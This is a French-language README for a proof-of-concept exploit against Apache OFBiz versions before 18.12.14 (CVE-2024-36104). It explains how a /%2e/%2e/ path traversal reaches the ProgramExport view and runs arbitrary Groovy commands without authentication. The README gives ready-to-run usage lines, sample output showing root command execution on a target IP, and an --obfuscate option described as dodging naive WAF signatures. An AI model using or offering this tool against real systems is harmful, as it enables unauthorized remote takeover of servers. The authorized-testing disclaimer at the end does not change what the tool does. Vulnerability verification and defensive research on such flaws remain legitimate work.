
PoC pour CVE-2024-36104 — RCE Groovy non authentifiée dans Apache OFBiz (<18.12.14) via /%2e/%2e/ traversée de chemin view vers ProgramExport
Preuve de concept pour CVE-2024-36104, une vulnérabilité d'exécution de code à distance sans authentification dans Apache OFBiz versions antérieures à 18.12.14.
Le ControlServlet d'OFBiz résout une vue non authentifiée (forgotPassword) avant de canonicaliser le chemin de la requête. L'ajout de /%2e/%2e/ ramène au chemin /webtools/control/, si bien que la requête atteint la vue ProgramExport sans jamais passer par le contrôle de sécurité/permission associé à la vue d'origine. ProgramExport exécute ensuite du code Groovy arbitraire, ce qui permet une exécution de commandes à distance sans authentification.
Le script encapsule la commande dans un extrait Groovy qui l'exécute via /usr/bin/bash -lc, l'envoie au point de terminaison vulnérable, puis extrait la sortie de la java.lang.Exception qu'OFBiz renvoie dans la réponse HTML.
/%2e/%2e/ de forgotPassword à ProgramExport.groovyProgram au point de terminaison vulnérable.Python 3.8+
pip install -r requirements.txt
Paquets Python requis :
requests
urllib3
Les valeurs entre chevrons sont des paramètres à remplacer. Remplacez-les par vos propres valeurs et n'incluez pas les caractères < ni >.
python3 cve_2024_36104.py \
--target <TARGET_URL> \
--command <COMMAND>
<TARGET_URL> # Target base URL. Example: https://10.129.231.23
<COMMAND> # Command that Bash will interpret. Example: id
python3 cve_2024_36104.py \
--target https://10.129.231.23 \
--command "id"
Exemple de sortie :
[2026-05-17T18:20:10Z] [*] Target: https://10.129.231.23/webtools/control/forgotPassword/%2e/%2e/ProgramExport
[2026-05-17T18:20:10Z] [*] Host header sent: localhost
[2026-05-17T18:20:10Z] [*] Command: id
[2026-05-17T18:20:11Z] [*] HTTP status: 200
[2026-05-17T18:20:11Z] [*] Response size: 4213 bytes
[+] Output of: id
uid=0(root) gid=0(root) groups=0(root)
-H, --host-header <HOST>
Value of the Host header. Default: localhost
--prefix-view <VIEW>
Unauthenticated view used before the /%2e/%2e/ traversal. Default: forgotPassword
--target-view <VIEW>
View reached after the traversal. Default: ProgramExport
--endpoint <PATH>
Full custom endpoint path, overrides --prefix-view/--target-view.
--timeout <SECONDS>
Maximum HTTP request time. Default: 15
--obfuscate
Send groovyProgram as \uXXXX escapes instead of plaintext, matching the
encoding used in public write-ups to dodge naive WAF signatures.
--show-payload
Print the generated Groovy code before sending it.
--show-response
Print the full HTML response.
--only-final
Hide progress logs and print only the command output.
--no-color
Disable ANSI colors.
--debug
Enable extra diagnostic logging.
502, le backend n'a probablement pas terminé avant le délai d'expiration du proxy ; la commande peut tout de même s'exécuter côté serveur.--show-response pour inspecter le HTML brut lorsque l'extraction automatique échoue.Ce PoC est destiné aux tests de sécurité autorisés, aux environnements de laboratoire et à la vérification de vulnérabilités. Ne l'utilisez pas contre des systèmes sans autorisation explicite.